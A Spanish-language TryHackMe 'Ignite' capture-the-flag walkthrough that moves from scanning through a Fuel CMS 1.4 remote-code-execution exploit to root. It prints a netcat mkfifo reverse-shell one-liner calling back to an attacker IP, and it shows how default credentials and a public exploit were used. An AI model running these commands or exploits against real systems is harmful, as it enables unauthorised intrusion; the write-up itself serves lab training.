Ignite TryHackMe Spanish Walkthrough
#TryHackMe
Reconocimiento
Comencé realizando una trama ICMP al target:
┌──(isui㉿kali)-[~/TryHackMe/ignite]
└─$ ping -c 1 10.10.33.48
PING 10.10.33.48 (10.10.33.48) 56(84) bytes of data.
64 bytes from 10.10.33.48: icmp_seq=1 ttl=63 time=154 ms
--- 10.10.33.48 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 153.829/153.829/153.829/0.000 ms
┌──(isui㉿kali)-[~/TryHackMe/ignite]
└─$
En base a la respuesta del TTL de 63 que es muy aproximado a 64, puedo intuir que se trata de un SO en base Linux.
Escaneo con Nmap
Continue con un escaneo de reconocimiento intentado que sea silencioso, pero al mismo tiempo rápido, con nmap:
sudo nmap -p- --open -sS --min-rate 1000 -vv -n -Pn 10.10.33.48 -oG primerEscaneo
Este escaneo tuvo los siguiente resultados:
┌──(isui㉿kali)-[~/TryHackMe/ignite]
└─$ sudo nmap -p- --open -sS --min-rate 1000 -vv -n -Pn 10.10.33.48 -oG primerEscaneo
[sudo] password for isui:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-28 16:05 CST
Initiating SYN Stealth Scan at 16:05
Scanning 10.10.33.48 [65535 ports]
Discovered open port 80/tcp on 10.10.33.48
Completed SYN Stealth Scan at 16:05, 45.46s elapsed (65535 total ports)
Nmap scan report for 10.10.33.48
Host is up, received user-set (0.15s latency).
Scanned at 2024-06-28 16:05:00 CST for 45s
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 45.57 seconds
Raw packets sent: 67521 (2.971MB) | Rcvd: 67521 (2.701MB)
┌──(isui㉿kali)-[~/TryHackMe/ignite]
└─$
Se observa que solo esta el puerto 80 abierto y ejecutando un servicio HTTP, para realizar un escaneo más exhaustivo, se ejecuto:
sudo nmap -p80 -sC -sV 10.10.33.48 -A -oN target
El escaneo expuso el siguiente resultado:
┌──(isui㉿kali)-[~/TryHackMe/ignite]
└─$ sudo nmap -p80 -sC -sV 10.10.33.48 -A -oN target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-28 16:08 CST
Nmap scan report for 10.10.33.48
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
| http-robots.txt: 1 disallowed entry
|_/fuel/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Linux 3.10 (93%), Linux 3.12 (93%), Linux 3.19 (93%), Linux 3.2 - 4.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 151.91 ms 10.21.0.1
2 152.17 ms 10.10.33.48
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.23 seconds
┌──(isui㉿kali)-[~/TryHackMe/ignite]
└─$
Visto desde una herramienta batcat target -l java se ve así (batcat es como cat, pero con algunas funcionalidades extras):

Esté escaneo revelo la versión del servicio HTTP, y la existencia del documento Robots.txt. Visitando desde el navegador, el sitio se puede ver que se trata de una posible guía para configurar un servicio CMS, específicamente Fuel CMS 1.4.

Se realizo un reconocimiento con la herramienta whatweb:

Enumeración
Se utilizo la herramienta wfuzz para realizar un ataque de diccionario en contra del servicio HTTP, para un List Directory:
wfuzz -c -t 100 -W /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt --hc 404 --hw 933 http://10.10.33.48/FUZZ
Explicación del WFUZZ
-
wfuzz:- Es la herramienta utilizada para fuzzing de aplicaciones web. Permite buscar vulnerabilidades y puntos de entrada en la aplicación web mediante la automatización de solicitudes HTTP.
-
-c:- Esta opción indica que la salida debe ser coloreada, lo que facilita la lectura de los resultados en la terminal.
-
-t 100:- Especifica el número de hilos (threads) a utilizar. En este caso,
100hilos se utilizarán para realizar las solicitudes concurrentemente, aumentando la velocidad del fuzzing.
- Especifica el número de hilos (threads) a utilizar. En este caso,
-
-W /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt:- Indica el archivo de lista de palabras a utilizar. Aquí se está usando una lista de directorios y archivos comunes proporcionada por DirBuster (
directory-list-2.3-medium.txt), que se encuentra en el directorio/usr/share/wordlist/dirbuster/.
- Indica el archivo de lista de palabras a utilizar. Aquí se está usando una lista de directorios y archivos comunes proporcionada por DirBuster (
-
--hc 404:--hcsignifica “hide code” (ocultar código). Esta opción indica awfuzzque oculte las respuestas HTTP con el código de estado404(Not Found), ya que típicamente indican que el recurso no existe y no son de interés.
-
--hw 933:--hwsignifica “hide words” (ocultar palabras). Esta opción indica awfuzzque oculte las respuestas que tienen exactamente933palabras en el cuerpo de la respuesta. Esto puede ser útil para filtrar respuestas no interesantes o repetitivas.
-
http://10.10.33.48/FUZZ:- Es la URL objetivo donde se realizará el fuzzing.
FUZZes un marcador de posición quewfuzzreemplazará con cada entrada de la lista de palabras
- Es la URL objetivo donde se realizará el fuzzing.
Este ataque de FUZZING dio los siguientes resultados:

Seguí enumerando, pero esta vez con un script de nmap

Esta información, resulto no ser, realmente útil.
Revisando, la guía de instalación del CMS, se muestran contraseñas en texto claro, para ingresar al aplicativo:

Así como un link para acceder al aplicativo:

Ingresando estas credenciales, se logro acceder al aplicativo:

Intente subir algún archivo, para saber si era posible establecer algún tipo de conexión:

Pero no obtuve resultados. Luego intente crear una entrada de lo que parece ser un blog, para investigar si podría investigar sobre alguna vulnerabilidad en el sistema:

Luego, cree un usuario:

Y lo logre, pero no encontré ninguna utilidad, en estas pruebas para completar el CTF, pero por supuesto es una vulnerabilidad muy grande, dado que un actor malintencionado, pude llegar a acceder al aplicativo, y crear un usuario con todos los posibles permisos.

Seguí durante un tiempo buscando, dentro del aplicativo, pero a primera vista no logre encontrar un vulnerabilidad. Revisando, recordé que en la página principal, se encontraba a primera vista la versión del aplicativo CMS: fuel 1.4, así que por medio de searchexploit realice la búsqueda:
searchsploit fuel cms 1.4

El primer exploit parce ser muy interesante, por que indica que se trata de RMC con Python:
Explotación
Para ver el código y ajustarlo a mis necesidades, lo copie a mi directorio de trabajo
searchsploit -m 47138

Luego con nano, edite el archivo, para ingresar la dirección IP del Target:

Al ejecutar este exploit, obtuve muchos errores:

Intente modificar el código, pero no tuve éxito, así que opte por utilizar otro exploit:

Revisando el código del exploit, vi que la forma de utilizarlo, es ejecutando, y agregar la dirección IP:
python3 50477.py -u http://10.10.33.48
El exploit funciono correctamente, y se logro establecer una conexón con el target:

Se comenzó, por listar los recursos del directorio actual:

Para listar todos los posibles directorios y archivos, y econtrar más vectores de ataque, se utilizo el comando:
ls -la ../../../*

Se listo el directorio del usuario: www-data:

Para tener una conexión más estable, implemente una ReverShell con Netcat:
En Kali
rlwrap nc -vlnp 445
En el Target:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.21.16.176 445 >/tmp/f
Fuente de la revershell: https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Una vez establecida la conexión, realice el tratamiento de la TTY:

Ya con una shell interactiva, ahora tocaba escalar privilegios.
Escalada de Privilegios:
Recordé que en la página principal, se explicaba sobre una base de datos:

Dentro del target navegue hasta llegar a la ruta indicada:

Y listando el archivo de la base de datos, logre encontrar información del usuario y contraseña del ROOT:

Así que ahora se pude cambiar al usuario ROOT:

Y buscando en el directorio del root, se puede obtener la flag:
tHanks f0r read1ng w1th L0v3 Isu <3
And H4ppy H4cking!
